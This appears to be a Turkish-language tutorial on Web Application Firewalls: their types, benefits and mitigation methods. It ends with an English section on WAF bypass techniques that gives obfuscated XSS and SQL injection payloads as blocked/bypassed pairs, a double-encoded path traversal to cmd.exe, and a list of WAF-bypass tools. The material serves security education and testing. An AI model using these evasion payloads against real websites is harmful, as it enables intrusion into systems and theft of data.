WAF (Web Application Firewall)

 

                        

                          WAF 

      {Web Application Firewall}  



İçindekiler:


➢ WAF nedir ve nasıl çalışır?
➢ Türleri
➢ WAF'ın Avantajları
➢ WAF Tedarikçileri
➢ WAF - Güvenlik Duvarı ve IPS Karşılaştırması
➢ WAF Azaltma
➢ WAF'ı Atlatma Teknikleri
➢ Harika Araçlar




WAF Nedir?



''Web Uygulama Güvenlik Duvarı (WAF)'', HTTP uygulamaları için bir uygulama güvenlik duvarıdır. Bir WAF, genellikle politika olarak adlandırılan bir dizi kural aracılığıyla çalışır. Bu politikalar, kötü amaçlı trafiği filtreleyerek uygulamadaki güvenlik açıklarına karşı koruma sağlamayı amaçlar.

Bir web uygulamasının önüne bir WAF yerleştirildiğinde, web uygulaması ile internet arasında bir kalkan oluşturulur. Bir proxy sunucusu, bir aracı kullanarak istemci makinenin kimliğini korurken, WAF bir tür ters proxy'dir ve istemcilerin sunucuya ulaşmadan önce WAF'den geçmesini sağlayarak sunucuyu güvenlik açıklarından korur.

Web uygulamalarını, siteler arası betik çalıştırma (XSS), SQL enjeksiyonu ve çerez zehirlenmesi gibi çeşitli uygulama katmanı saldırılarından korur. Uygulamalara yönelik saldırılar, veri ihlallerinin başlıca nedenidir; değerli verilerinize açılan kapıdırlar. Doğru WAF ile, sistemlerinizi tehlikeye atarak bu verileri sızdırmayı amaçlayan saldırı dizisini engelleyebilirsiniz.





Nasıl Çalışır?



• Bir WAF, web uygulamasına gelen kötü amaçlı HTTP/S trafiğini filtreleyerek, izleyerek ve engelleyerek web uygulamalarınızı korur ve yetkisiz verilerin uygulamadan çıkmasını engeller. Bunu, hangi trafiğin kötü amaçlı, hangi trafiğin güvenli olduğunu belirlemeye yardımcı olan bir dizi politikaya uyarak yapar. Bir proxy sunucusunun bir istemcinin kimliğini korumak için aracı görevi görmesi gibi, bir WAF da benzer şekilde çalışır ancak tam tersi şekilde, yani ters proxy olarak adlandırılır ve web uygulaması sunucusunu potansiyel olarak kötü amaçlı bir istemciden koruyan bir aracı görevi görür.

• WAF'ler yazılım, cihaz veya hizmet olarak sunulabilir. Politikalar, web uygulamanızın veya web uygulamalarınızın benzersiz ihtiyaçlarını karşılayacak şekilde özelleştirilebilir. Birçok WAF, yeni güvenlik açıklarını gidermek için politikaları düzenli olarak güncellemenizi gerektirse de, makine öğrenimindeki gelişmeler bazı WAF'lerin otomatik olarak güncellenmesini sağlar. Tehdit ortamı karmaşıklık ve belirsizlik açısından büyümeye devam ettikçe, bu otomasyon daha da kritik hale geliyor.






Türler:



Bir WAF, her biri kendine özgü avantajlara ve dezavantajlara sahip üç farklı şekilde uygulanabilir:

❖ Ağ tabanlı bir WAF genellikle donanım tabanlı olarak adlandırılır. Yerel olarak kuruldukları için gecikmeyi en aza indirirler, ancak ağ tabanlı WAF'ler en pahalı seçenektir ve ayrıca fiziksel ekipmanın depolanmasını ve bakımını gerektirir.
❖ Ana bilgisayar tabanlı bir WAF, bir uygulamanın yazılımına tamamen entegre edilebilir (yazılım tabanlı olarak da adlandırılır). Bu çözüm, ağ tabanlı bir WAF'den daha ucuzdur ve daha fazla özelleştirme olanağı sunar. Ana bilgisayar tabanlı bir WAF'nin dezavantajları, yerel sunucu kaynaklarının tüketimi, uygulama karmaşıklığı ve bakım maliyetleridir. Bu bileşenler genellikle mühendislik süresi gerektirir ve maliyetli olabilir.
❖ Bulut tabanlı WAF'ler, uygulaması çok kolay, uygun fiyatlı bir seçenek sunar; genellikle trafiği yönlendirmek için DNS'de değişiklik yapmak kadar basit bir anahtar teslim kurulum sunarlar. Bulut tabanlı WAF'lerin ayrıca, kullanıcılar hizmet olarak güvenlik için aylık veya yıllık ödeme yaptıkları için minimum bir ön maliyeti vardır. Bulut tabanlı WAF'lar, kullanıcı tarafında herhangi bir ek iş veya maliyete neden olmadan en yeni tehditlere karşı koruma sağlamak için sürekli güncellenen bir çözüm de sunabilir.






WAF'ın Avantajları:


WAF, HTTP uygulama katmanı kullanılarak iletilen hassas uygulama verilerine daha fazla görünürlük sağladığı için geleneksel güvenlik duvarlarına göre avantajlıdır. Aşağıdakiler de dahil olmak üzere, normalde geleneksel ağ güvenlik duvarlarını atlatan uygulama katmanı saldırılarını önleyebilir:
▪ Siteler arası betik çalıştırma (XSS) saldırıları, saldırganların başka bir kullanıcının tarayıcısına kötü amaçlı betikler enjekte edip çalıştırmasını sağlar.
▪ Yapılandırılmış Sorgu Dili (SQL) enjeksiyon saldırıları, SQL veritabanı kullanan ve saldırganların hassas verilere erişip potansiyel olarak bunları değiştirmesine olanak tanıyan herhangi bir uygulamayı etkileyebilir.
▪ Web oturumu korsanlığı, saldırganların bir oturum kimliğini ele geçirip yetkili bir kullanıcı gibi davranmasını sağlar. Oturum kimliği genellikle bir çerez veya Tekdüzen Kaynak Konum Belirleyici (URL) içinde saklanır.
▪ Dağıtılmış hizmet reddi (DDoS) saldırıları, bir ağı kullanıcılarına hizmet veremez hale gelene kadar trafikle doldurarak aşırı yükler. Hem ağ güvenlik duvarları hem de WAF'lar bu saldırı türünü yönetebilir, ancak farklı katmanlardan yaklaşırlar.
WAF'ın bir diğer avantajı, uygulamanın kaynak koduna erişmeden web tabanlı uygulamaları savunabilmesidir. Ana bilgisayar tabanlı bir WAF uygulama koduna entegre edilebilirken, bulut tabanlı bir WAF, erişim olmadan uygulamayı savunabilir. Ayrıca, bir bulut WAF'ın dağıtımı ve yönetimi kolaydır ve kullanıcıların yeni tespit edilen tehditlere uyum sağlamak için ayarlarını hızla özelleştirmelerini sağlayan hızlı sanal yama çözümleri sunar.


Önem:



WAF, internet üzerinden ürün sunan giderek artan sayıda işletme (çevrimiçi bankacılar, sosyal medya platformu sağlayıcıları ve mobil uygulama geliştiricileri dahil) için önemlidir çünkü veri sızıntısını önlemeye yardımcı olur. Kredi kartı verileri ve müşteri kayıtları gibi birçok hassas veri, web uygulamaları aracılığıyla erişilebilen arka uç veritabanlarında saklanır. Saldırganlar, ilişkili verilere erişmek için sıklıkla bu uygulamaları hedef alır.




WAF Satıcıları:









WAF ve Güvenlik Duvarı ve IPS:



IPS bir saldırı önleme sistemidir, WAF bir web uygulaması güvenlik duvarıdır ve NGFW ise yeni nesil bir güvenlik duvarıdır. Aralarındaki fark nedir?
IPS, daha geniş kapsamlı bir güvenlik ürünüdür. Genellikle imza ve politika tabanlıdır; yani bir imza veritabanı ve yerleşik politikalara dayalı olarak bilinen güvenlik açıklarını ve saldırı vektörlerini kontrol edebilir. IPS, veritabanı ve politikalara dayalı bir standart oluşturur ve ardından herhangi bir trafik standarttan saptığında uyarılar gönderir. Yeni güvenlik açıkları tespit edildikçe imzalar ve politikalar zamanla gelişir. IPS genellikle DNS, SMTP, TELNET, RDP, SSH ve FTP gibi çeşitli protokol türlerindeki trafiği korur. IPS genellikle 3. ve 4. katmanlarda çalışır ve korur. Ağ ve oturum katmanları, ancak bazıları uygulama katmanında (7. katman) sınırlı koruma sağlayabilir.

Yeni nesil bir güvenlik duvarı (NGFW), web siteleri, e-posta hesapları ve SaaS üzerinden internete giden trafiği izler. Basitçe söylemek gerekirse, kullanıcıyı (web uygulamasını değil) korur. Bir NGFW, URL filtreleme, virüsten koruma/kötü amaçlı yazılımdan koruma ve potansiyel olarak kendi saldırı önleme sistemleri (IPS) gibi özellikler eklemenin yanı sıra, kullanıcı tabanlı politikaları uygular ve güvenlik politikalarına bağlam ekler. Bir WAF genellikle ters bir proxy iken (sunucular tarafından kullanılır), NGFW'ler genellikle ileri proxy'lerdir (tarayıcı gibi istemciler tarafından kullanılır).

Bir web uygulama güvenlik duvarı (WAF), uygulama katmanını korur ve uygulama katmanındaki her HTTP/S isteğini analiz etmek üzere özel olarak tasarlanmıştır. Genellikle kullanıcı, oturum ve uygulama farkındadır, arkasındaki web uygulamalarının ve sundukları hizmetlerin farkındadır. Bu nedenle, bir WAF'yi kullanıcı ile uygulamanın kendisi arasında bir aracı olarak düşünebilirsiniz ve tüm iletişimleri uygulamaya veya kullanıcıya ulaşmadan önce analiz eder. Geleneksel WAF'ler, yalnızca izin verilen eylemlerin (güvenlik politikasına dayalı) gerçekleştirilmesini sağlar. Birçok kuruluş için WAF'ler, özellikle en çok görülen uygulama güvenlik açıklarının temel listesi olan OWASP İlk 10'a karşı koruma sağlamak için uygulamalar için güvenilir bir ilk savunma hattıdır. Bu İlk 10 listesi şu anda şunları içermektedir:

• Enjeksiyon saldırıları
• Bozuk Kimlik Doğrulama
• Hassas veri ifşası
• XML Harici Varlıkları (XXE)
• Bozuk Erişim Kontrolü
• Güvenlik yapılandırma hataları
• Siteler Arası Komut Dosyası Çalıştırma (XSS)
• Güvenli Olmayan Serileştirme


WAF Azaltma:



Peki bir WAF tüm bu güvenlik açıklarını tam olarak nasıl azaltır? Bir WAF'ın web saldırılarını tespit etmek ve önlemek için kullandığı üç temel yöntem vardır: istekleri reddetme/izin verme, inceleme ve reddetme ve imzalar.
Her birini inceleyelim, olur mu?

➢ İstekleri Reddetme/İzin Verme
İstekleri reddetme/izin verme yöntemi, ağ güvenlik duvarları tarafından kullanılan geleneksel kapı modeline çok benzer. İstekler, mevcut bilgilere göre reddedilir veya izin verilir. Bu bilgiler, bir IP adresi gibi basit olabileceği gibi, SEÇENEKLER veya YÖNTEMLER gibi daha karmaşık ve HTTP'ye özgü de olabilir.

➢ İmzalar
İmzalar, birçok farklı güvenlik çözümünde yaygın olarak kullanılan bir başka koruma yöntemidir. Virüsten koruma ve kötü amaçlı yazılımdan koruma hizmetleri, virüs ve kötü amaçlı yazılım kanıtlarını hızla tarayıp işaretlemelerini sağlayan imzalara dayanır. IPS/IDS de WAF gibi bu yönteme büyük ölçüde dayanır. İki tür imza vardır: kullanıcı tanımlı ve satıcı tarafından yönetilen.

➢ Denetim
Son olarak, istekler (ve yanıtlar) üzerinde tam kontrol sağlamak için denetim de dahil edilmiştir. İstek denetimi, WAF'ın istekteki bilgileri bilinen iyi/kötü dizeler ve değerlerle karşılaştırarak isteğin kötü amaçlı mı yoksa meşru mu olduğunu belirlemesine olanak tanır. HTTP uygulamaları için (ki bu, günümüzde internetteki çoğu uygulama anlamına gelir) bu, bir WAF'ın sağlaması gereken en önemli özelliktir. Bir WAF programlanabilir denetim sunmuyorsa, bu seçeneği yeniden gözden geçirmeniz gerekir. HTTP metin tabanlı ve genişletilebilir olduğundan, istekleri denetlemek için kullanabileceğiniz kapsamlı bir seçenek ve yöntem listesi sunmanın neredeyse hiçbir yolu yoktur. Çok az HTTP başlığının kısıtlı seçenekleri vardır, bu da içine neyin yerleştirilip neyin yerleştirilemeyeceğini sınırlamayı çok zorlaştırır. Bu, başlıklara veya yükün kendisine gömülü kötü amaçlı kodu tespit etmek için genellikle denetimin gerekli olduğu anlamına gelir. Denetimi kullanmanın iki yolu vardır: bilinen başlıklar ve yük.




WAF'ı Atlatma Teknikleri:


 

  Case Toggling Technique

Combine upper and lower case characters for creating efficient payloads. <ScrIpT>confirm()</sCRiPt>

 

  Using Comments Technique

Comments obfuscate standard payload vectors.

Different payloads have different ways of obfuscation.

<!--><script>confirm/**/()/**/</script> sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

 

  Null Character Injection

Inject %00 in parameter before malicious input. WAFs will commonly ignore everything after the null but pass the entire string to web server where it is processed.

 

  Mixed Case

Change case of malicious input triggering WAF protections. <script> may become <sCRiPt> If the WAF is using a case sensitive blacklist, changing case may bypass that filter.

 

  Inline Comments

Insert comments in middle of attack strings. For instance, /*!SELECT*/ might be overlooked by the WAF but passed on to the target application and processed by a mysql database.

Blocked: <script>alert()</script>

Bypassed: <!--><script>alert/**/()/**/</script>

 

Blocked: /?id=1+union+select+1,2,3--

Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--

 

  Ephemeral Mode SSL (DHE/EDH)

Abuse perfect forward secrecy. Since the WAF cannot subvert the key exchange, it can’t decrypt the traffic if a DHE/EDH based session is negotiated between client and server. Testing of the top 50 or so sites on Alexa showed roughly 50% of sites support these modes. If SSL is terminated on the WAF however, or in the case of an embedded WAF, traffic is decrypted for WAF inspection.

 

  Buffer Overflow

WAF’s are, afterall, applications and vulnerable to the same software flaws as any other application. If a buffer overflow condition can create a crash, even if it does not result in code execution, this may result in a WAF failing open. In other words, a bypass.

 

  HTTP Parameter Pollution

Supply multiple parameter= value sets of the same name to confuse the WAF. Given the example http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘ in some circumstances such as with Apache/PHP, the application will only parse the last (second) instance of id= while the WAF only parses the first. It appears to be a legitimate request but the application still receives and process malicious input. Most WAF’s today are not vulnerable to HTTP Parameter Pollution (HPP) but it is still worth a try when building bypasses.

 

  URL encoding (hex)

Use the hex equivalent for certain characters such as %27 for ‘ or %3c for <. This alone may not be sufficient for many modern WAF’s but frequently works for application black-list filters as they may not be canonicalized before evaluation. Like many other techniques here, when combined with other methods is more effective.

Blocked: <svG/x=">"/oNloaD=confirm()//

Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

 

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)

Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

 

  Keyword Splitting

(Insert special characters that will be removed by WAF) – SELECT may become SEL<ECT which would be passed on as SELECT once the offending character is removed

 

  Replaced Keywords

Similar to Keyword Splitting by wrapping a keyword around itself. For instance SELSELECTECT becomes SELECT once the inner SELECT is removed.

 

  Ignoring Cookies

Ignore tracking cookies WAF sets to flag you as a “Bad User”. This can easily be configured using a regex match in Burp to ignore those cookies.

 

  WAF Auto-Learning

Many WAF have a threshold whereby if they see n number of violations from different IP addresses within a specified window, it “un-learns” that rule and effectively disables it.

 

  Using Data URIs

Offending strings can be encoded as data URIs which are interpreted by the browser but may not be properly normalized by the WAF. This is very useful for client side attacks like XSS

 

  Double Encoding

Often WAF filters tend to encode characters to prevent attacks.

However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

 

Standard: <script>alert()</script>

Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E

 

  Line Breaks

Many WAF with regex based filtering effectively blocks many attempts.

Line breaks (CR/LF) can break firewall regex and bypass stuff.

Standard: <iframe src=javascript:confirm(0)">

Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

 

  Junk Characters

Normal payloads get filtered out easily.

Adding some junk chars helps avoid detection (specific cases only).

They often help in confusing regex based firewalls.

Standard: <script>alert()</script>

Obfuscated: <script>+-+-1-+-+alert(1)</script>

 

Standard: <BODY onload=alert()>

Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

 

NOTE: The above payload can break the regex parser to cause an exception.

 

Standard: <a href=javascript;alert()>ClickMe

Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

 

Harika Araçlar:


WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity. https://github.com/enablesecurity/wafw00f

IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm. https://github.com/stamparm/identywaf

W3af - Web Application Attack and Audit Framework https://github.com/andresriancho/w3af

BypassWAF – Bypass firewalls by abusing DNS history. This tool will search for old DNS A records and check if the server replies for that domain. 

https://github.com/vincentcox/bypass-firewalls-by-DNS-history

CloudFail – is a tactical reconnaissance tool that tries to find the original IP address behind the Cloudflare WAF.

https://github.com/m0rtem/CloudFail

GoTestWAF - A tool to test a WAF's detection logic and bypasses from @wallarm. https://github.com/wallarm/gotestwaf

Lightbulb Framework - A WAF testing suite written in Python. https://github.com/lightbulb-framework/lightbulb-framework

WAFBench - A WAF performance testing suite by Microsoft.

https://github.com/microsoft/wafbench

WAF Testing Framework - A WAF testing tool by Imperva.

https://www.imperva.com/products/web-application-firewall-waf/

Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.

https://github.com/coreruleset/ftw

WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou. https://github.com/khalilbijjou/wafninja

WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.

https://github.com/Raz0r/waftester libinjection-fuzzer - A fuzzer intended for finding libinjection bypasses but can be probably used universally. https://github.com/migolovanov/libinjection-fuzzer bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.

https://github.com/vincentcox/bypass-firewalls-by-DNS-history abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.

https://github.com/LandGrey/abuse-ssl-bypass-waf

SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.

https://github.com/sqlmapproject/sqlmap

Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.

https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c WhatWaf - detecting a firewall on a web application https://github.com/Ekultek/WhatWaf